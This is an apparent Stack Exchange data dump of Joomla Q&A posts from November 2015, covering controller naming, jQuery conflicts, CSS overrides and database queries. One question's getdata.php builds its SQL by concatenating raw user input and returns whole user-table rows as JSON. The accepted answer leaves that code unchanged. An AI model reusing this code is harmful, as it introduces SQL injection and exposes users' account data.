  <row Id="14195" PostTypeId="1" AcceptedAnswerId="14196" CreationDate="2015-11-05T10:19:35.060" Score="1" ViewCount="731" Body="&lt;p&gt;I have a simple component that that will be performing CRUD for my mobile app on Joomla site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the structure of my files&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://localhost/chichi-server/components/com_chichi/controller.php&#xA;http://localhost/chichi-server/components/com_chichi/chichi.php&#xA;http://localhost/chichi-server/components/com_chichi/controllers/getdata.php&#xA;http://localhost/chichi-server/components/com_chichi/controllers/postdata.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in my chichi.php I have this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  defined('_JEXEC') or die('access dedied');&#xA;  jimport('joomla.application.component.controller');&#xA;  $input = JFactory::getApplication()-&amp;gt;input;&#xA;  $controller=JControllerLegacy::getInstance('ChichiMobilePost');&#xA;  $controller-&amp;gt;execute($input-&amp;gt;get('task'));&#xA;  $controller-&amp;gt;redirect();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in controller.php I have &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;   defined('_JEXEC') or die('access dedied');&#xA;   jimport('joomla.application.component.controller');&#xA;&#xA;   class ChichiMobilePostController extends JControllerLegacy{  &#xA;          function diplay(){&#xA;                echo 'Noting to do';    &#xA;              }&#xA;&#xA;          function create(){&#xA;                echo 'Welcom to Create';    &#xA;              }&#xA;     }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my /controllers/getdata.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA; defined('_JEXEC') or die('access dedied');&#xA; jimport('joomla.application.component.controller');&#xA;&#xA;class ChichiMobilePostController extends JControllerLegacy{&#xA;//GET USER COLLECTIONS  &#xA;  function getcollection(){&#xA;    //Prevent template from showing&#xA;    $app =JFactory::getApplication();&#xA;    $input = JFactory::getApplication()-&amp;gt;input;&#xA;    $userID = $input-&amp;gt;post-&amp;gt;get('userID');&#xA;    $db = JFactory::getDbo();&#xA;    // Create a new query object.&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    try&#xA;        {   &#xA;            $query&#xA;                -&amp;gt;select(array('*'))&#xA;                -&amp;gt;from($db-&amp;gt;quoteName('#__user'))   &#xA;                -&amp;gt;where($db-&amp;gt;quoteName('id') .'=' . $userID .'');&#xA;            $db-&amp;gt;setQuery($query);&#xA;            $results = $db-&amp;gt;loadAssocList();    &#xA;        }&#xA;    catch (Exception $e)&#xA;        {&#xA;            $this-&amp;gt;setError('The error message you want');&#xA;            return false;&#xA;        }   &#xA;            echo json_encode(array('collect'=&amp;gt;$results));&#xA;            $app-&amp;gt;close();&#xA;   }        &#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question how do I get query in /controllers/getdata/php to excute&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried accessing it through &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; http://localhost/chichi-server/index.php?option=com_chichi&amp;amp;task=getdata.getcollection&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I get thi s error &quot;(View not found [name, type, prefix]: get.getcollection, html, chichimobilepostView)&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However If I use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     http://localhost/chichi-server/index.php?option=com_chichi&amp;amp;task=create&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the controller.php is able to output &quot;Welcome to create&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the reason why I am doing this is because there will be a lot post and get request from the mobile app and though I could each process in their own file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will be glad if anyone can help. me resolve this, Thank you very much&lt;/p&gt;&#xA;" OwnerUserId="7083" LastActivityDate="2015-11-05T13:56:48.853" Title="How to execute query in Joomla 3x sub-controller" Tags="|joomla-3.x|cms|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14196" PostTypeId="2" ParentId="14195" CreationDate="2015-11-05T13:56:48.853" Score="3" Body="&lt;p&gt;Try to rename your class in /controllers/getdata.php to:&#xA;&lt;strong&gt;ChichiMobilePostController&lt;em&gt;Getdata&lt;/em&gt;&lt;/strong&gt; Then Joomla can find the right class and execute getcollection() if you call it via&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://localhost/chichi-server/index.php?option=com_chichi&amp;amp;task=getdata.getcollection&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="154" LastActivityDate="2015-11-05T13:56:48.853" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14197" PostTypeId="2" ParentId="14181" CreationDate="2015-11-05T15:44:50.153" Score="1" Body="&lt;p&gt;You can override the pagination in your active template under &lt;em&gt;/templates/template_name/html/pagination.php&lt;/em&gt;, if there's no file just copy the one in protostar and edit it as you like.&lt;/p&gt;&#xA;" OwnerUserId="3585" LastActivityDate="2015-11-05T15:44:50.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14198" PostTypeId="2" ParentId="10503" CreationDate="2015-11-05T16:04:59.703" Score="1" Body="&lt;p&gt;You have to create every query like you did ($q1,$q2,$q3,etc..) and make a final query like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select(&quot;tab.*&quot;)&#xA;      -&amp;gt;from(&quot;(&quot;.$q1-&amp;gt;union($q2)-&amp;gt;union($q3).&quot;) as tab&quot;)&#xA;      -&amp;gt;order(&quot;tab.orderingField&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's well explained in this article:&#xA;&lt;a href=&quot;https://docs.joomla.org/Using_the_union_methods_in_database_queries#Ordering_results&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Using_the_union_methods_in_database_queries#Ordering_results&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3585" LastActivityDate="2015-11-05T16:04:59.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14201" PostTypeId="1" CreationDate="2015-11-05T21:43:53.163" Score="5" ViewCount="644" Body="&lt;p&gt;In the front-end I have a code as below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jimport( 'joomla.html.html.select' );&#xA;echo JHtmlSelect::booleanlist('published',null,$this-&amp;gt;book-&amp;gt;published,'Yes','No')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I see is as below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qg7vA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qg7vA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to see as&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7dAma.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7dAma.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2015-11-24T02:34:34.800" Title="How to use JHtml::booleanlist with btn-group" Tags="|joomla-3.4|bootstrap|jhtml|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14202" PostTypeId="2" ParentId="9898" CreationDate="2015-11-06T03:11:34.023" Score="0" Body="&lt;p&gt;Infograf answered this question. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As per his comments, I placed the following code in:   &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/components/com_content/views/form/view.html.php'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;after the line: &lt;code&gt;$this-&amp;gt;form-&amp;gt;setFieldAttribute('catid', 'readonly', 'true'); }&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Propose current language as default when creating new article&#xA;if (JLanguageMultilang::isEnabled() &amp;amp;&amp;amp; empty($this-&amp;gt;item-&amp;gt;id))&#xA;{&#xA;$lang = JFactory::getLanguage()-&amp;gt;getTag();&#xA;$this-&amp;gt;form-&amp;gt;setFieldAttribute('language', 'default', $lang);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now it is working as expected.&lt;/p&gt;&#xA;" OwnerUserId="5231" LastEditorUserId="126" LastEditDate="2015-11-06T04:37:30.723" LastActivityDate="2015-11-06T04:37:30.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14204" PostTypeId="1" CreationDate="2015-11-06T11:36:08.380" Score="3" ViewCount="169" Body="&lt;p&gt;I'm looking for a way to filter content in Joomla in an hybrid fashion.&#xA;I would like have all articles visible in public view, but when a user logs-in, the same articles should be filtered according to the user's categories choice.&lt;br&gt;&#xA;Let me try to describe a bit more clearly:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A user chooses during the registration process his interests in a&#xA;list of categories. &lt;/li&gt;&#xA;&lt;li&gt;When a non-logged user views the page all the articles of every&#xA;categories will be displayed.   &lt;/li&gt;&#xA;&lt;li&gt;When the user logs-in, the articles should be filtered according with&#xA;user's choices from the registration process. So there should be visible only the articles in those categories selected by the user.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Actually I can't find a way to do this... any ideas?&lt;/p&gt;&#xA;" OwnerUserId="7201" LastEditorUserId="126" LastEditDate="2015-11-06T17:27:12.957" LastActivityDate="2015-11-06T18:26:54.167" Title="Filter content according to users interest" Tags="|articles|user|access|content-filtering|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14205" PostTypeId="1" AcceptedAnswerId="14206" CreationDate="2015-11-06T16:48:07.770" Score="2" ViewCount="283" Body="&lt;p&gt;I'm having some problems with jQuery after the 3.4.5 upgrade from 3.2.2. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$&lt;/code&gt; is not defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done some trouble shooting, and found this:&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/17687619/is-there-a-way-turn-off-jquery-noconflict-mode-in-wordpress&quot;&gt;https://stackoverflow.com/questions/17687619/is-there-a-way-turn-off-jquery-noconflict-mode-in-wordpress&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but if I run:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$ = jQuery.noConflict(true);&lt;/code&gt; then the new issue is that &lt;code&gt;jQuery&lt;/code&gt; is not defined. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This isn't an issue in my 3.2.2 site, where both $ and jQuery are defined. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried things such as setting jQuery = $ after the noConflict statement and cloning jQuery into $ but neither of those worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running jQuery 1.8.3 instead of the jQuery included with Joomla. I also made sure mootools wasn't beeing included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get $ and jQuery to work at the same time?&lt;/p&gt;&#xA;" OwnerUserId="19" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-11-06T17:33:49.573" Title="jQuery issues after 3.4 Upgrade" Tags="|joomla-3.4|jquery|upgrade|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14206" PostTypeId="2" ParentId="14205" CreationDate="2015-11-06T17:00:10.327" Score="1" Body="&lt;p&gt;Firstly, there's no reason why you should be using jQuery 1.8.3 as it's an old and unsupported version. Please stick with what Joomla provides (1.11.3).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template and ALL extensions you're using should be doing the following to import jQuery:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('jquery.framework');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Doing so ensures that it's only imported once when the &lt;code&gt;head&lt;/code&gt; is being compiled. It means NoConflict mode is enabled, therefore the following is added below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery.noConflict();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All templates/extensions should then always write their custom JS script like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function(){  &#xA;    var element = jQuery('#element');&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($){  &#xA;    var element = $('#element');&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the second example, you can see that I have passed &lt;code&gt;$&lt;/code&gt; through as an alias of &lt;code&gt;jQuery&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So overall, either your template or extension developer has not followed this process, therefore you can either find the culprit and fix it, or installed the &lt;a href=&quot;http://extensions.joomla.org/extension/jquery-easy&quot; rel=&quot;nofollow&quot;&gt;jQuery Easy&lt;/a&gt; plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="126" LastEditDate="2015-11-06T17:33:49.573" LastActivityDate="2015-11-06T17:33:49.573" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14207" PostTypeId="2" ParentId="14204" CreationDate="2015-11-06T17:11:59.830" Score="1" Body="&lt;p&gt;What you are describing is personalised based content delivery, which Joomla doesn't support by default. You might want to investigate a component such as &lt;a href=&quot;http://www.jomsocial.com/&quot; rel=&quot;nofollow&quot;&gt;Jom Social&lt;/a&gt;, that allows registered users to &quot;Like&quot; categories of interest or other users, which would then appear in their feed in the future. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's unclear from your question if the user's themselves will contribute to the content viewable on your site - if that's not the case you can disable this functionality in Jom Social, but keep the advanced user profile functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="3546" LastEditorUserId="126" LastEditDate="2015-11-06T17:30:11.827" LastActivityDate="2015-11-06T17:30:11.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14208" PostTypeId="2" ParentId="14204" CreationDate="2015-11-06T18:26:54.167" Score="0" Body="&lt;p&gt;Well, I kinda like this question -it makes me think creatively.&lt;br&gt;&#xA;To be honest, I haven't exactly explore this topic for any available, well-designed, ready-made solutions. Sure, Communities-type extensions like JomSocial, or other user-management type of extensions, may provide in their own way this kind of functionality. What extension could work for you, depends on the type of site you are creating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I will describe a somewhat simple design solution that it just came in mind thinking your requirements. It involves some custom development though and maybe it won't be the appropriate for you, if you are not in the coding side of things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How I could visualize this, a registered user- upon login, should arrive at his personalized page - a kind of dashboard, where he would be able to see posts according to his preferences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's see the 2 main problems we have to solve:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;First problem: How the user can set his preferences?&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this I would go with a &lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Creating_a_profile_plugin&quot; rel=&quot;nofollow&quot;&gt;custom user profile plugin&lt;/a&gt;&lt;/strong&gt;.&#xA;In my plugin, I would create dynamic checkboxes fields, that will get updated by the available content categories, so the user could make his initial selection of topics of his interests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Second problem: How to display articles based on user preferences?&lt;/strong&gt;&lt;br&gt;&#xA;For this I would create a custom smart module, which would fetch the user's preferences saved in his profile and then would query the database for an X number of recent articles, for each of the user's selected categories. Maybe, the module could create separate aligned boxes, for each category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I would assigned this module in the user's dashboard page. Keep in mind, that this User's Interests module, could simply be displayed, on top of all other articles, so the user will still be able to reach easily to these articles as well, but has always somewhere easily accessible the articles that are most interesting for him.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same, or similar module (maybe working in a slightly different mode) could be also displayed in sidebars and other module positions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, for completing the feature set, I would add a &lt;strong&gt;Bookmarks Module&lt;/strong&gt;, so the users, could add also bookmarks/favorites for the articles they like. I think there is one such module available in JED, hmm here it is &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/content-sharing/bookmark-a-recommend/my-shortlist&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;myshortlist module&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, both the user profile plugin and the smart module shouldn't be very hard to develop.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-11-06T18:26:54.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14210" PostTypeId="2" ParentId="4756" CreationDate="2015-11-06T20:26:55.800" Score="2" Body="&lt;p&gt;Here are some steps in order to find where the code is coming from:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Well the best way is to download a full copy of the website, and do a OS system search inside its directory for &lt;strong&gt;JHTML::_('behavior.mootools');&lt;/strong&gt;. Usually your computer will return a list with all the files that contain this specific string.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If the first step is not possible, or you can't get any results for whatever reason, then you should start disabling extensions.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;a. First switch the template - to the core Joomla 3 protostar template. &#xA;If the issue goes away most likely, it's your template that contains the deprecated code.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;b. Then you can start switching off modules and plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;c. Finally, see if the issue appears to be only on specific pages of 3rd party components.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Find more  information on how to load Javascript Frameworks on Joomla on &lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Javascript_Frameworks&quot; rel=&quot;nofollow&quot;&gt;Joomla Documentation&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-11-06T20:26:55.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14211" PostTypeId="1" CreationDate="2015-11-06T20:54:37.650" Score="1" ViewCount="115" Body="&lt;p&gt;I have a problem regarding the login form in Joomla, it is displayed quite well when the selected language is English (LTR), but whenever I change it to RTL (Arabic or anything), the CSS gets messed up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what it looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZSywG.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZSywG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am mainly a backend engineer, so this thing is bothering me alot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix this?&lt;/p&gt;&#xA;" OwnerUserId="7189" LastEditorUserId="126" LastEditDate="2015-11-07T17:37:16.497" LastActivityDate="2016-12-31T22:12:03.800" Title="Login form css is messed up in RTL" Tags="|login|css|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14212" PostTypeId="2" ParentId="3877" CreationDate="2015-11-06T21:04:28.313" Score="3" Body="&lt;p&gt;Johanpw has done a very good job with his answer on his own question... especially regarding the css overrides for many commercial templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would only like to add my two cents here...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Johanpw underlined, creating CSS overrides is the recommended practice. Keeping your custom CSS in a single file that you know it won't be deleted or overridden after an update is essential.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is important to remember for all Joomla extensions. Don't try to change a module's or component's core css file. Instead, better try to create your own custom template.css file, load it last and in there create all your custom styles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In cases where a commercial template does not provide a way to add a css override then you could use an extension like this: &lt;a href=&quot;http://extensions.joomla.org/extension/add-custom-css&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Add Custom CSS&lt;/strong&gt;&lt;/a&gt;, which allows exactly this. To create your custom css override file and load it last.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option I often do in sites that I manage, is to modify the template and add &lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_JavaScript_and_CSS_to_the_page&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;my own link to my custom.css file&lt;/strong&gt;&lt;/a&gt;, just before the closing head tag of the template. This is a minor, easy to remember and restore modification, that I am okay to deal with, when a template update arrives.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-11-06T21:04:28.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14213" PostTypeId="2" ParentId="3877" CreationDate="2015-11-06T21:27:31.220" Score="3" Body="&lt;h1&gt;Gantry 5 (RocketTheme)&lt;/h1&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://gantry.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;Gantry 5&lt;/a&gt;&lt;/strong&gt; is the latest version of the popular template framework and it provides a lot of new features and capabilities.&lt;/p&gt;&#xA;&lt;p&gt;Regarding CSS overrides, there is a lot of flexibility and options.&lt;/p&gt;&#xA;&lt;p&gt;Taking the &lt;strong&gt;Hydrogen Theme&lt;/strong&gt; that is released as a standard Gantry 5 template, it provides a folder named custom.&lt;/p&gt;&#xA;&lt;p&gt;This folder is provided for the user to place his custom files/overrides for the gantry framework/template (to not be confused with the Joomla template overrides, which remains in the template/html folder).&#xA;You can place in there you custom.css file. Then through Gantry Template Administration Panel, you can customize your template layouts and use a &lt;strong&gt;Custom CSS/JS Atom Particle&lt;/strong&gt; (a new gantry 5 feature), to add your &lt;strong&gt;custom.css&lt;/strong&gt; to the template. Gantry 5 provides also the so-called &lt;strong&gt;stream links&lt;/strong&gt;, (like shortcuts), in order to easily link your custom.css file.&lt;/p&gt;&#xA;&lt;p&gt;So from inside the Atom particle you would link it using:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;gantry-theme://custom/thing.css&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;code&gt;gantry-theme://&lt;/code&gt; shortcut, will always refer to the current gantry template folder.&lt;/p&gt;&#xA;&lt;p&gt;Using this approach is an efficient way to add custom.css for specific template outlines of your gantry5 template.&lt;/p&gt;&#xA;&lt;p&gt;A second approach, that works globally for the whole gantry template, is by adding a &lt;strong&gt;custom.scss&lt;/strong&gt; file, inside:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;template_directory/custom/scss/custom.scss&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Doing so, gantry5 will always load and compile this scss file, and any css rules you have applied will override the template's default rules.&lt;/p&gt;&#xA;&lt;p&gt;Inside the scss file you are perfectly fine either using SCSS or simply css. The compiler is able to compile both.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-11-10T07:51:56.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14214" PostTypeId="1" AcceptedAnswerId="14232" CreationDate="2015-11-06T21:40:24.607" Score="1" ViewCount="660" Body="&lt;p&gt;This update query is not working and I've triple-checked the general syntax for the update queries in Joomla via the documentation..Here is the code from the controller-side:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function approveAll() {&#xA;        $input = JFactory::getApplication()-&amp;gt;input;&#xA;        $selectedEntries = $input-&amp;gt;post-&amp;gt;get('id', array(), 'array');&#xA;&#xA;        JArrayHelper::toInteger($selectedEntries);&#xA;&#xA;        $model = $this-&amp;gt;getModel();&#xA;        $model-&amp;gt;approveSelectedEntries($selectedEntries);&#xA;        $model-&amp;gt;sendMeAnEmail('This is so broken');&#xA;&#xA;        $this-&amp;gt;setRedirect(JRoute::_('index.php?option=com_awardadmin', false));&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and here is the code from the model-side:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function approveSelectedEntries($idsToApprove)&#xA;    {&#xA;        $db = JFactory::getDBO();&#xA;&#xA;        foreach ($idsToApprove as $currentID) {&#xA;            $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;            $query-&amp;gt;update('#__chronoforms_data_nominationForm');&#xA;            $query-&amp;gt;set('approved = 1');&#xA;            //$query-&amp;gt;set('approved = true');&#xA;            $query-&amp;gt;where('id = '.$currentID);&#xA;            $db-&amp;gt;setQuery($query);&#xA;            //$db-&amp;gt;loadRow();&#xA;            $result = $db-&amp;gt;execute();&#xA;&#xA;            $this-&amp;gt;sendNotificationEmail($currentID);&#xA;            sendMeAnEmail('IDs: '.$idsToApprove.'&amp;lt;br&amp;gt;ID: '.$currentID.'&amp;lt;br&amp;gt;Query: '.$query.'&amp;lt;br&amp;gt;DB: '.$db);&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My experience with Joomla is limited but neither of my sendMeAnEmail methods are firing so something is getting lost somewhere and I don't know enough about how Joomla works to figure it out. I only have a basic understanding of how it applies MVC as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The override for getModel():&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getModel($name = 'Submission', $prefix = 'AwardAdminModel') &#xA;    {&#xA;        $model = parent::getModel($name, $prefix, array('ignore_request' =&amp;gt; true));&#xA;        return $model;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tried changing the structure of the query as per &lt;a href=&quot;https://docs.joomla.org/Inserting,_Updating_and_Removing_data_using_JDatabase&quot; rel=&quot;nofollow&quot;&gt;this link&lt;/a&gt; to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $fields = $db-&amp;gt;quoteName('approved').' = true';&#xA;    $conditions = $db-&amp;gt;quoteName('id').' = 443';&#xA;$query-&amp;gt;update($db-&amp;gt;quoteName('#__chronoforms_data_nominationForm'))-&amp;gt;set($fields)-&amp;gt;where($conditions);&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $db-&amp;gt;query();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it did not work...even with hardcoded where clause.&lt;/p&gt;&#xA;" OwnerUserId="7215" LastEditorUserId="7215" LastEditDate="2015-11-09T16:58:37.813" LastActivityDate="2016-08-09T09:53:08.737" Title="MySQL Update query not working" Tags="|joomla-2.5|mysql|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14215" PostTypeId="2" ParentId="14211" CreationDate="2015-11-06T23:54:08.073" Score="1" Body="&lt;p&gt;It's hard to tell the exact reason without looking at your template, but as you say, it's highly likely it's a CSS issue. Probably, your template does not float the labels for the input fields correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can load a different CSS file based on language direction. This is usually done using a PHP if/else statement like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php if($this-&amp;gt;direction == 'rtl') : ?&amp;gt;&#xA;        &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/templates/&amp;lt;?php echo $this-&amp;gt;template ?&amp;gt;/css/template_rtl.css&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Try targeting the input labels using CSS, and set them to &lt;code&gt;float:right;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-11-06T23:54:08.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14216" PostTypeId="1" AcceptedAnswerId="14217" CreationDate="2015-11-07T02:01:09.837" Score="1" ViewCount="64" Body="&lt;p&gt;Is it just a matter of preference or are there some good reasons to create and use separate helper classes for the front and back end?&lt;/p&gt;&#xA;" OwnerUserId="1799" LastActivityDate="2015-11-07T11:33:58.870" Title="Should I have front and back end helper classes?" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
